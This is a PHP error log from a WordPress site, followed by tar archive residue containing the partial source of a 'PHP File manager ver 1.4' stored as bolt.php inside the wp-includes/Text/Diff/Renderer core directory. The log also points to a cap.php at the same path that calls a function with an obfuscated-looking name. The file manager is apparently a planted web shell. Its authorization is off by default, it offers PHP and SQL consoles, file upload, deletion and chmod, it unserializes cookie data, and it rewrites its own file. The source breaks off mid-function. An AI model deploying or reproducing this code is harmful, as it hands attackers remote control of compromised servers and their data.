[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
